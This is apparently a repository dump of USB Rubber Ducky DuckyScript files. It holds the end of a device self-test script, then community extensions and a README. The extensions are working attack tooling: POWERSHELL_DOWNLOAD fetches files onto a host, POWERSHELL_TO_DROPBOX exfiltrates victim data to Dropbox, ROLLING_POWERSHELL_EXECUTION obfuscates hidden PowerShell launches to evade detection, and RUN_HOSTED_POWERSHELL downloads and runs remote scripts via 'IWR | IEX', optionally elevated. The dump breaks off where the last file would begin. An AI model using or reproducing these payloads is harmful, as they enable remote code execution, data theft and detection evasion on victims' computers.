print_button_states()\nSTRING PUSH BUTTON N times within 5s\n$CD = 15 \nWHILE ($CD > 0)\n\tIF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN\n\t\tSTRINGLN p\n\t\t$_BUTTON_PUSH_RECEIVED = FALSE\n\tEND_IF\n\t$CD = ($CD - 1)\n\tSTRING .\n\tDELAY 200 \nEND_WHILE\n$_BUTTON_ENABLED = TRUE\n$_BUTTON_PUSH_RECEIVED = FALSE\n\nENTER\nSTRINGLN _LOCKS_\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nSTRING Saving lock state :\nSAVE_HOST_KEYBOARD_LOCK_STATE\nPASSED()\n\nFUNCTION compare_saved_lock_states()\n\tSTRING ($_SAVED_CAPSLOCK_ON==$_CAPSLOCK_ON) :\n\tIF ($_SAVED_CAPSLOCK_ON == $_CAPSLOCK_ON) THEN\n\t\tPASSED()\n\tELSE\n\t\tFAIL()\n\tEND_IF\n\n\tSTRING ($_SAVED_NUMLOCK_ON==$_NUMLOCK_ON) :\n\tIF ($_SAVED_NUMLOCK_ON == $_NUMLOCK_ON) THEN\n\t\tPASSED()\n\tELSE\n\t\tFAIL()\n\tEND_IF\n\n\tSTRING ($_SAVED_SCROLLLOCK_ON==$_SCROLLLOCK_ON) :\n\tIF ($_SAVED_SCROLLLOCK_ON == $_SCROLLLOCK_ON) THEN\n\t\tPASSED()\n\tELSE\n\t\tFAIL()\n\tEND_IF\nEND_FUNCTION\n\ncompare_saved_lock_states()\n\nSTRING ($_CAPSLOCK_ON==TRUE) THEN; CAPSLOCK;\nIF ( $_CAPSLOCK_ON == TRUE ) THEN\n\tCAPSLOCK\n\tDELAY 100\nEND_IF\n\nSTRING ( $_CAPSLOCK_ON == FALSE ) :\nIF ( $_CAPSLOCK_ON == FALSE ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ( $_NUMLOCK_ON == FALSE ) THEN; NUMLOCK;\nIF ( $_NUMLOCK_ON == FALSE ) THEN\n\tNUMLOCK\n\tDELAY 100\nEND_IF\n\nSTRING ( $_NUMLOCK_ON == TRUE ) :\nIF ( $_NUMLOCK_ON == TRUE ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nFUNCTION wait_for_caps_on() \n\tSTRING press capslock(wait for caps on):\n\tWAIT_FOR_CAPS_ON\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_caps_off()\n\tSTRING press capslock(wait for caps off):\n\tWAIT_FOR_CAPS_OFF\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_caps_change()\n\tSTRING press capslock(wait for caps change):\n\tWAIT_FOR_CAPS_CHANGE\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_num_off()\n\tSTRING press numlock(wait for num off):\n\tWAIT_FOR_NUM_OFF\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_num_on()\n\tSTRING press numlock(wait for num on):\n\tWAIT_FOR_NUM_ON\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_num_change()\n\tSTRING press numlock(wait for num change):\n\tWAIT_FOR_NUM_CHANGE\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_scroll_off()\n\tSTRING press scroll lock(wait for scroll off):\n\tWAIT_FOR_SCROLL_OFF\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_scroll_on()\n\tSTRING press scroll lock(wait for scroll on):\n\tWAIT_FOR_SCROLL_ON\n\tPASSED()\nEND_FUNCTION\nFUNCTION wait_for_scroll_change()\n\tSTRING press scroll lock(wait for scroll change):\n\tWAIT_FOR_SCROLL_CHANGE\n\tPASSED()\nEND_FUNCTION\n\nIF ($_CAPSLOCK_ON == TRUE) THEN\n\twait_for_caps_off()\n\twait_for_caps_on()\nELSE\n\twait_for_caps_on()\n\twait_for_caps_off()\nEND_IF\n\nwait_for_caps_change()\nwait_for_caps_change()\n\nIF ($_NUMLOCK_ON == TRUE) THEN\n\twait_for_num_off()\n\twait_for_num_on()\nELSE\n\twait_for_num_on()\n\twait_for_num_off()\nEND_IF\n\nwait_for_num_change()\nwait_for_num_change()\n\nIF($_SCROLLLOCK_ON == TRUE) THEN\n\twait_for_scroll_off()\n\twait_for_scroll_on()\nELSE\n\twait_for_scroll_on()\n\twait_for_scroll_off()\nEND_IF\n\nwait_for_scroll_change()\nwait_for_scroll_change()\n\nSTRING Restoring lock state :\nRESTORE_HOST_KEYBOARD_LOCK_STATE\nPASSED()\n\ncompare_saved_lock_states()\n\n\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nSTRING Storage activity timeout :\n$INPUT = $_STORAGE_ACTIVITY_TIMEOUT\nTRANSLATE_INT()\n\nREM this is 0 because its already timed out\nSTRING ($_STORAGE_ACTIVITY_TIMEOUT==0) :\nIF ( $_STORAGE_ACTIVITY_TIMEOUT == 0 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING Payload Parse Speed :\n$INPUT = $_PAYLOAD_PARSE_SPEED\nTRANSLATE_INT()\n\nSTRING ($_PAYLOAD_PARSE_SPEED==2) :\nIF ($_PAYLOAD_PARSE_SPEED == 2) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING System LEDs enabled :\n$INPUT = $_SYSTEM_LEDS_ENABLED\nTRANSLATE_BOOL()\n\nSTRING Storage LEDs enabled :\n$INPUT = $_STORAGE_LEDS_ENABLED\nTRANSLATE_BOOL()\n\nSTRING Injecting LEDs enabled :\n$INPUT = $_INJECTING_LEDS_ENABLED\nTRANSLATE_BOOL()\n\nSTRING Exfil LEDs enabled :\n$INPUT = $_EXFIL_LEDS_ENABLED\nTRANSLATE_BOOL()\n\nSTRING Received host lock LED reply :\n$INPUT = $_RECEIVED_HOST_LOCK_LED_REPLY\nTRANSLATE_BOOL()\n\nSTRING EXFIL mode enabled :\n$INPUT = $_EXFIL_MODE_ENABLED\nTRANSLATE_BOOL()\n\nSTRING ($_EXFIL_MODE_ENABLED==FALSE) :\nIF ( $_EXFIL_MODE_ENABLED == FALSE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING OS(default):\n$INPUT = $_OS\nTRANSLATE_INT()\n\nSTRING Driver counter :\n$INPUT = $_HOST_CONFIGURATION_REQUEST_COUNT\nTRANSLATE_INT()\n\nSTRING Storage active :\n$INPUT = $_STORAGE_ACTIVE\nTRANSLATE_BOOL()\n\nENTER\nSTRINGLN _JITTER_\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nSTRING Jitter enabled :\n$INPUT = $_JITTER_ENABLED\nTRANSLATE_BOOL()\n\nSTRING ($_JITTER_ENABLED==FALSE) :\nIF ($_JITTER_ENABLED == FALSE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING Jitter max :\n$INPUT = $_JITTER_MAX\nTRANSLATE_INT()\n\nSTRINGLN $_JITTER_ENABLED=TRUE;\n$_JITTER_ENABLED = TRUE\nSTRING ($_JITTER_ENABLED == TRUE) :\nIF ($_JITTER_ENABLED == TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\ninjection_test()\n$_JITTER_ENABLED = FALSE\nSTRING TEST W/FW JITTER ON :\nPASSED()\n\nENTER\nSTRINGLN _HOLD_\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nSTRINGLN HOLD a;DELAY 1500;RELEASE a :\nHOLD a\nDELAY 1000\nRELEASE a\nENTER\nPASSED()\n\nSTRINGLN HOLD A;DELAY 1500;RELEASE A :\nHOLD A\nDELAY 1000\nRELEASE A\nPASSED()\n\nSTRINGLN MANUAL INJECTMOD, HOLD MOD, KEY_DOWN, RELEASE a, RESET test :\nINJECT_MOD\nHOLD SHIFT\nKEY_DOWN 0400\nDELAY 1000\nRELEASE a\nRESET\n\nSTRING MANUAL inject A :\nINJECT 0402 \nSTRING  :\nPASSED()\n\nSTRING MANUAL state type A :\nMOD_DOWN 0402\nMOD_KEY_DOWN 0402\nMOD_KEY_UP 0402\nMOD_UP 0402\nSTRING  :\nPASSED()\n\nSTRING MANUAL type a :\nKEY_DOWN 0402\nKEY_UP 0402\nSTRING  :\nPASSED()\n\nSTRING DELAY $ :\nVAR $T = 1000\nSTRING $T(1000) :\nDELAY $T\nPASSED()\nSTRINGLN $T = ($T * 2);\n$T = ($T * 2)\nSTRING DELAY $T :\nDELAY $T\nPASSED()\n\nREM EXTENDED DELAY\nREM DELAY 65536\n\n\nSTRINGLN _EXFIL VAR_\nREM ------------------------------------------------------------------------------------------------------------------------------\nSTRING EXFIL $T : \n$T = 1000\nEXFIL $T\nPASSED()\n\nSTRING _RAND_\nREM ------------------------------------------------------------------------------------------------------------------------------\nENTER\n\nSTRING Rand min :\n$INPUT = $_RANDOM_MIN\nTRANSLATE_INT()\n\nSTRING ($_RANDOM_MIN==0) :\nIF ($_RANDOM_MIN == 0) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING Rand max :\n$INPUT = $_RANDOM_MAX\nTRANSLATE_INT()\n\nSTRING ($_RANDOM_MAX==9) :\nIF ($_RANDOM_MAX == 9) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING $_RANDOM_INT :\n$INPUT = $_RANDOM_INT\nTRANSLATE_INT()\n\nSTRING 0<$_RANDOM_INT>9 bounds :\nIF (($_RANDOM_INT >= 0) && ($_RANDOM_INT <= 9)) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING min<$_RANDOM_INT>max bounds :\nIF (($_RANDOM_INT >= $_RANDOM_MIN) && ($_RANDOM_INT <= $_RANDOM_MAX)) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING Random seed :\n$INPUT = $_RANDOM_SEED\nTRANSLATE_INT()\n\nVAR $length = 100\nFUNCTION generate_random_lower()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_LOWERCASE_LETTER\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nFUNCTION generate_random_upper()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_UPPERCASE_LETTER\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nFUNCTION generate_random_letter()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_LETTER\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nFUNCTION generate_random_number()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_NUMBER\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nFUNCTION generate_random_special()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_SPECIAL\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nFUNCTION generate_random_char()\n\t$length = 100\n\tWHILE ( $length > 0 ) \n\t\tRANDOM_CHAR\n\t\t$length = ($length - 1)\n\tEND_WHILE\n\tENTER\nEND_FUNCTION\n\nSTRINGLN RAND LOWER:\ngenerate_random_lower()\nSTRINGLN RAND UPPER:\ngenerate_random_upper()\nSTRINGLN RAND LETTER:\ngenerate_random_letter()\nSTRINGLN RAND NUMBER:\ngenerate_random_number()\nSTRINGLN RAND SPECIAL:\ngenerate_random_special()\nSTRINGLN RAND CHAR:\ngenerate_random_char()\n\nREM ------------------------------------------------------------------------------------------------------------------------------\nFUNCTION vid_pid_check()\n\t$INPUT = $_CURRENT_VID\n\tSWAP_ENDIAN()\n\tSTRING ($INPUT(vid)==0x05AC) :\n\tIF ($INPUT == 0x05AC) THEN\n\t\tPASSED()\n\tELSE\n\t\tFAIL()\n\tEND_IF\n\tSTRING $_CURRENT_VID(hex):\n\tTRANSLATE_HEX()\n\t$INPUT = $_CURRENT_PID\n\tSWAP_ENDIAN()\n\tSTRING ($INPUT(pid)==0x021E) :\n\tIF ($INPUT == 0x021E) THEN\n\t\tPASSED()\n\tELSE\n\t\tFAIL()\n\tEND_IF\n\tSTRING $_CURRENT_PID(hex):\n\tTRANSLATE_HEX()\nEND_FUNCTION\n\nvid_pid_check()\n\nSTRINGLN SAVE_ATTACKMODE;ATTACKMODE OFF;RESTORE_ATTACKMODE;\nSAVE_ATTACKMODE\nDELAY 500\nATTACKMODE OFF\nDELAY 500\nLED_OFF\nDELAY 50\nLED_R\nDELAY 50\nLED_G\nDELAY 50\nLED_R\nDELAY 50\nLED_OFF\nRESTORE_ATTACKMODE\nPASSED()\nDELAY 500\n\nvid_pid_check()\n\nSTRING ($_CURRENT_ATTACKMODE==3) :\nIF ($_CURRENT_ATTACKMODE == 3) THEN\n\tPASSED()\nELSE\n\tFAILED\nEND_IF\n\nSTRING ATTACKMODE HID STORAGE MAN_T PROD_T SERIAL_RANDOM :\nATTACKMODE HID STORAGE MAN_T PROD_T SERIAL_RANDOM\nDELAY 500\nPASSED()\n\nSTRINGLN Setting BUTTON to toggle hide/restore\nBUTTON_DEF\n\tIF (($TOGGLE % 2) == 0) THEN\n\t\tATTACKMODE OFF\n\t\tHIDE_PAYLOAD\n\t\tDELAY 500\n\t\tATTACKMODE STORAGE\n\tELSE\n\t\tATTACKMODE OFF\n\t\tRESTORE_PAYLOAD\n\t\tDELAY 500\n\t\tATTACKMODE STORAGE\n\tEND_IF\n\t$TOGGLE = ($TOGGLE + 1)\nEND_BUTTON\n\nSTRING ($_BUTTON_USER_DEFINED==TRUE) :\nIF ($_BUTTON_USER_DEFINED == TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nENTER\nSTRINGLN ~DONE~\nSTRING F:\n$INPUT = $FAILED\nTRANSLATE_INT()\nSTRING P:\n$INPUT = $PASS\nTRANSLATE_INT()\nIF ( $FAILED == 0 ) THEN\n\tSTRINGLN TESTS PASSED\n\tLED_G\nELSE \n\tSTRINGLN TESTS FAILED\n\tLED_R\nEND_IF\nENTER\nSTRINGLN DONE\n"
  },
  {
    "path": "payloads/examples/Variables/VAR-example1.txt",
    "content": "REM In DuckyScript, variables are initiated using the VAR command.\r\rREM Example Integer Variable\rVAR $SPEED = 2000\r\rREM Example Boolean (TRUE/FALSE or 1/0)\rVAR $BLINK = TRUE\rVAR $BLINK = 1\r\rREM Unlike a constant (declared by DEFINE), a variable is appended with the dollar sign (\"$\") sigil.\r\rREM Constant string which may not change\rREM throughout the payload\rDEFINE FOO Hello, World!\r\rREM Variable integer which may change \rREM throughout the payload\rVAR $BAR = 1337\r\rREM The constant FOO will always be replaced with the string \"Hello, World!\" throughout the payload.\rREM While the variable $BAR currently holds the value 1337, this may change throughout the payload — which will be detailed shortly by using operators."
  },
  {
    "path": "payloads/extensions/button_deploy.txt",
    "content": "EXTENSION BUTTON_DEPLOY\n    REM VERSION 1.0\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Use this during development to invert the default behavior of the ducky.\n        With this extension the ducky will now be storage by default - pressing the button\n        will start the payload - all subsequent button presses will be default unless\n        redefined by a BUTTON_DEF\n\n        TARGET:\n            Any\n        \n        USAGE:\n            Place at the top of your payload\n\n        DEPLOYMENT:\n            Insert into target host, it will appear as storage, press the button to leave storage and start the payload\n\n        IMPORTANT NOTE:\n            Pressing the button will not reload the inject.bin;\n            the duck will still need to be power cycled (removed/reinserted)\n            to test a NEW inject.bin. This is simply a helper/method to \n            avoid accidentally running a payload on your development machine\n    END_REM\n\n    ATTACKMODE STORAGE\n    WAIT_FOR_BUTTON_PRESS\n    ATTACKMODE HID\nEND_EXTENSION"
  },
  {
    "path": "payloads/extensions/community/DETECT_FINISHED",
    "content": "EXTENSION DETECT_FINISHED\n    REM VERSION 1.0\n    REM AUTHOR: 0i41E\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Use the function Detect_Finished() to signal the finished execution of your payload.\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #PAUSE 150\n    FUNCTION Detect_Finished()\n        IF ($_CAPSLOCK_ON == FALSE)\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            ATTACKMODE OFF\n        ELSE IF\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            ATTACKMODE OFF\n        END_IF\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/POWERSHELL_DOWNLOAD",
    "content": "EXTENSION POWERSHELL_DOWNLOAD\n    REM VERSION 1.0\n    REM Author: 0i41E\n    REM Downloads the desired file via powershell\n    REM Use the method you want to use, via the specific function, define the URL and the output.\n\n    REM CONFIGURATION:\n    REM Delay before executing the download\n    DEFINE #INPUT_WAIT 2000\n    REM URL of the file which gets downloaded\n    DEFINE #URL https://example.com/\n    REM Output name of your downloaded file\n    DEFINE #OUTPUT default\n \n    REM Use Invoke-WebRequest to download a file onto the system\n    FUNCTION Invoke_WebRequest()\n        DELAY #INPUT_WAIT  \n        STRINGLN Invoke-WebRequest -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT\n    END_FUNCTION\n\n    REM Use Invoke-RestMethod to download a file onto the system\n    FUNCTION Invoke_RestMethod()\n        DELAY #INPUT_WAIT  \n        STRINGLN Invoke-RestMethod -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT\n    END_FUNCTION\n\n    REM Use Start_BitsTransfer to download a file onto the system\n    FUNCTION Start_BitsTransfer()\n        DELAY #INPUT_WAIT  \n        STRINGLN Start-BitsTransfer -Source '#URL' -Destination #OUTPUT\n    END_FUNCTION\n\n    REM Use Curl.exe to download a file onto the system\n    FUNCTION Curl_exe()\n        DELAY #INPUT_WAIT  \n        STRINGLN curl.exe -L '#URL' -o #OUTPUT\n    END_FUNCTION\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM Use the function fitting your usecase, Start_BitsTransfer() is used as example here\n    REM DELAY 2000\n    REM GUI r\n    REM DELAY 2000\n    REM STRINGLN powershell\n    REM DELAY 500\n    REM Start_BitsTransfer()\n\nEND_EXTENSION\n\n\n"
  },
  {
    "path": "payloads/extensions/community/POWERSHELL_TO_DROPBOX",
    "content": "EXTENSION POWERSHELL_TO_DROPBOX\n    REM_BLOCK DOCUMENTATION\n        Title: PowerShell To Dropbox\n        Author: PlumpyTurkey\n        Description: This extension allows you to exfiltrate content available from PowerShell to a file in your Dropbox.\n        Target: Windows 10, 11\n        Version: 1.1\n    END_REM\n\n    REM Required options:\n    DEFINE #PTD_CONTENT $Content\n    DEFINE #PTD_REFRESH_TOKEN XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n    DEFINE #PTD_APP_KEY XXXXXXXXXXXXXXX\n    DEFINE #PTD_APP_SECRET XXXXXXXXXXXXXXX\n\n    REM Advanced options:\n    DEFINE #PTD_OUTPUT_FOLDER Exfiltrated-content\n    DEFINE #PTD_OUTPUT_FILE [${env:COMPUTERNAME}-${env:USERNAME}].txt\n\n    FUNCTION PTD_SEND()\n        STRING_POWERSHELL\n            try { \n                Invoke-RestMethod -Uri \"https://content.dropboxapi.com/2/files/upload\" -Method Post -Headers @{ \n                    \"Authorization\" = \"Bearer $((\n                    Invoke-RestMethod -Uri \"https://api.dropboxapi.com/oauth2/token\" -Method Post -Headers @{ \n                        \"Content-Type\" = \"application/x-www-form-urlencoded\" \n                    } -Body @{ \n                        \"grant_type\" = \"refresh_token\"; \n                        \"refresh_token\" = \"#PTD_REFRESH_TOKEN\"; \n                        \"client_id\" = \"#PTD_APP_KEY\"; \n                        \"client_secret\" = \"#PTD_APP_SECRET\" \n                    }\n                ).access_token)\"; \n                    \"Content-Type\" = \"application/octet-stream\"; \n                    \"Dropbox-API-Arg\" = \"{\"\"path\"\":\"\"/#PTD_OUTPUT_FOLDER/#PTD_OUTPUT_FILE\"\",\"\"mode\"\":\"\"add\"\",\"\"autorename\"\":true,\"\"mute\"\":false}\" \n                } -Body #PTD_CONTENT | Out-Null \n            } \n            catch { \n                Write-Host \"An error occurred: $_\" \n            }\n        END_STRING\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/ROLLING_POWERSHELL_EXECUTION",
    "content": "EXTENSION ROLLING_POWERSHELL_EXECUTION\n    REM VERSION 1.0\n    REM Author: 0i41E\n    REM OS: Windows\n    REM Credits: Korben, Daniel Bohannon, Grzegorz Tworek\n    REM Requirements: PayloadStudio v.1.3 minimum\n    REM Starts Powershell in uncommon ways to avoid basic detection\n    REM Via randomisation, obfuscation and usage of less used parameters, this extension helps to evade basic detection.\n\n    REM CONFIGURATION:\n    REM Add ExecutionPolicy bypass\n    DEFINE #EXECUTIONPOLICY FALSE\n    DEFINE #DELAY 200\n\n    $_RANDOM_MIN = 1\n    $_RANDOM_MAX = 16\n    VAR $RANDOM_PS = $_RANDOM_INT\n    FUNCTION Rolling_Powershell_Execution()\n        IF ($RANDOM_PS == 1) THEN\n            STRING cmd.exe /c \"p%PSModulePath:~21,1%weRshe%PUBLIC:~12,1%l.exe -noPr -Noni -wi Hid\"\n        ELSE IF ($RANDOM_PS == 2) THEN\n            STRING cmd.exe /c \"PowerShe%PUBLIC:~12,1%%PUBLIC:~12,1% /NoPr /NonI /w hi\"\n        ELSE IF ($RANDOM_PS == 3) THEN\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell /NoPr /NonI /w hi\"\n        ELSE IF ($RANDOM_PS == 4) THEN\n            STRING cmd /c \"FOR /F \"delims=s\\ t%PSModulePath:~25,1%kens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni /w H\"\n        ELSE IF ($RANDOM_PS == 5) THEN\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell -NoPr -NonI -w hi\"\n        ELSE IF ($RANDOM_PS == 6) THEN\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell /NoPr /Nonin /wind hidD\"\n        ELSE IF ($RANDOM_PS == 7) THEN\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell -NoPr -NonI -w hi\"\n        ELSE IF ($RANDOM_PS == 8) THEN\n            STRING powershell -NoPro -noninT -win h\n        ELSE IF ($RANDOM_PS == 9) THEN\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell -NoP -Noni -wind hidD\"\n        ELSE IF ($RANDOM_PS == 2) THEN\n            STRING powershell.exe -NoP -nOni -W h\n        ELSE IF ($RANDOM_PS == 10) THEN\n            STRING cmd /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni -w H\"\n        ELSE IF ($RANDOM_PS == 11) THEN\n            STRING powershell -nopr -noninT -W HiddEn\n        ELSE IF ($RANDOM_PS == 12) THEN\n            STRING cmd.exe /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -noProF -nonin -win Hi\"\n        ELSE IF ($RANDOM_PS == 13) THEN\n            STRING cmd /c \"P%PSModulePath:~25,1%weRShell -noProf -NonIn -wi h\"\n        ELSE IF ($RANDOM_PS == 14) THEN\n            STRING powershell -noproF -noni -W Hi\n        ELSE IF ($RANDOM_PS == 15) THEN\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell /NoPr /NonI /%PSModulePath:~17,1% hi\"\n        ELSE ($RANDOM_PS == 16) THEN\n            STRING powershell.exe -noP -nOnI -windo H\n        END_IF\n\n\n    IF_DEFINED_TRUE #EXECUTIONPOLICY\n        SPACE\n        IF (($RANDOM_PS % 2) == 0) THEN\n            STRING -ep ByPasS\n        ELSE IF (($RANDOM_PS % 5) == 0) THEN\n            STRING -exec bypass\n        ELSE IF (($RANDOM_PS % 7) == 0) THEN\n            STRING -exeC byPasS\n        ELSE IF (($RANDOM_PS % 10) == 0) THEN\n            STRING -exEcUtionPoL bYpaSs\n        ELSE IF (($RANDOM_PS % 12) == 0) THEN\n            STRING -exEcUtion bYPaSs\n        ELSE\n            STRING -eP BYPaSs\n        END_IF\n    END_IF_DEFINED\n    ENTER\n    DELAY #DELAY\n    END_FUNCTION\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM DELAY 2000\n    REM GUI r\n    REM DELAY 2000\n    REM Rolling_Powershell_Execution()\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/RUN_HOSTED_POWERSHELL",
    "content": "EXTENSION RUN_HOSTED_POWERSHELL\n    REM_BLOCK DOCUMENTATION\n        Title: Run Hosted PowerShell\n        Author: PlumpyTurkey\n        Description: This extension allows you to run a hosted PowerShell script using the Windows Run dialog box.\n        Target: Windows 10, 11\n        Version: 1.1\n    END_REM\n\n    REM Required options:\n    DEFINE #RHP_SCRIPT_URL example.com\n\n    REM Advanced options:\n    DEFINE #RHP_DELAY 2000\n    DEFINE #RHP_ELEVATED_EXECUTION FALSE\n    DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE\n\n    FUNCTION RHP_RUN()\n        GUI r\n\n        DELAY #RHP_DELAY\n        STRING PowerShell -W H -EX Bypass \"IWR -UseB '#RHP_SCRIPT_URL' | IEX\"\n\n        IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION\n            CTRL SHIFT ENTER\n            DELAY #RHP_DELAY\n            LEFT\n        END_IF_DEFINED\n\n        ENTER\n\n        IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION\n            ATTACKMODE OFF\n        END_IF_DEFINED\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md",
    "content": "# Save Files In Rubber Ducky Storage - Windows\n\nThis extension can be used to save one or more files through the USB Rubber Ducky storage without having to copy and paste reused code every time, but standardizing a methodology that avoids errors.\n\n```\nHow many files do you want to save?\n|\n|-- Single File\n|   |\n|   |-- Do you already know the full file path? (e.g., C:\\Users\\Aleff\\Downloads\\photo.png)\n|   |   |\n|   |   |-- Use the SINGLE_FILE version\n|   |   |   |\n|   |   |   |-- Set #FLAG_SINGLE_FILE to TRUE\n|   |   |   |-- Define the file path in #SINGLE_PATH\n|   |   |\n|   |-- Don't know the full path but can obtain it at runtime through PowerShell?\n|   |   |\n|   |   |-- Use the $fileToSavePath variable\n|   |   |   |\n|   |   |   |-- Set #FLAG_SINGLE_FILE to TRUE\n|   |   |   |-- Obtain the file path through PowerShell and assign it to $fileToSavePath\n|\n|-- Multiple Files\n|   |\n|   |-- Set the #FLAG_SINGLE_FILE variable to FALSE\n|   |   |\n|   |   |-- Use an array of strings named $fileToSavePaths to collect the paths of all the files you want to use\n\n```\n\n\n## Target Environment\n\n- **Target**: Windows PowerShell\n\n## Usage\n\nInsert this extension when you have one or more files that you want to save via USB Rubber Ducky storage.\n\n## Configuration\n\nBefore using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options:\n\n### Driver Label\n\nThis extension utilizes the 'Get-Volume' command to scan the available volumes on the computer where the command is executed, aiming to detect our USB Rubber Ducky device. Upon detection, the device is selected to serve as a reference, allowing us to perform data saving operations. By default, USB Rubber Duckys are identified by the label 'DUCK'. However, this label can be altered, particularly if we want to keep the operation discreet. If the default label has been changed, it will be necessary to update the #DRIVER_LABEL variable with the correct label.\n\n### Single File or Multiple Files\n\nYou can choose to send a single file or multiple files. Configure the extension accordingly.\n\n#### Single File Configuration\n\n- **Variable**: #FLAG_SINGLE_FILE\n- **Type**: Boolean (TRUE or FALSE)\n- **Description**: Set #FLAG_SINGLE_FILE to TRUE if you want to save just one file. In this case, you will need to specify the file path within the #SINGLE_PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $fileToSavePath variable.\n\nExample in DuckyScript:\n```DuckyScript\nDEFINE #FLAG_SINGLE_FILE TRUE\nDEFINE #SINGLE_PATH C:\\Users\\Aleff\\Downloads\\photo.png\n```\n\nExample in PowerShell before using the extension:\n```powershell\n$fileToSavePath = \"C:\\Users\\Aleff\\Downloads\\photo.png\"\n```\n\n#### Multiple Files Configuration\n\n- **Variable**: #FLAG_SINGLE_FILE\n- **Type**: Boolean (TRUE or FALSE)\n- **Description**: Set #FLAG_SINGLE_FILE to FALSE if you want to save multiple files. In this case, in PowerShell, you will have to create the variable $fileToSavePaths, which is an array of strings containing the list of paths related to the files you want to export.\n\nExample in PowerShell before using the extension:\n```powershell\n$fileToSavePaths = @(\n    \"C:\\Users\\Aleff\\Downloads\\photo.png\",\n    \"C:\\Users\\Aleff\\Downloads\\document.pdf\",\n    \"C:\\Users\\Aleff\\Downloads\\song.mp3\"\n)\n```\n\n**Tips for Working with Arrays in PowerShell:**\n\n- How to create an array:\n  ```powershell\n  $fileToSavePaths = @()\n  ```\n\n- How to add an element to the array:\n  ```powershell\n  $fileToSavePaths += \"C:\\Users\\Aleff\\Downloads\\photo.png\"\n  ```\n\n- How to view the array:\n  ```powershell\n  $fileToSavePaths\n  ```\n\nThat's it! You can now use this extension with the appropriate configuration to save files via the USB Rubber Ducky storage using the same USB Rubber Ducky.\n\n"
  },
  {
    "path": "payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt",
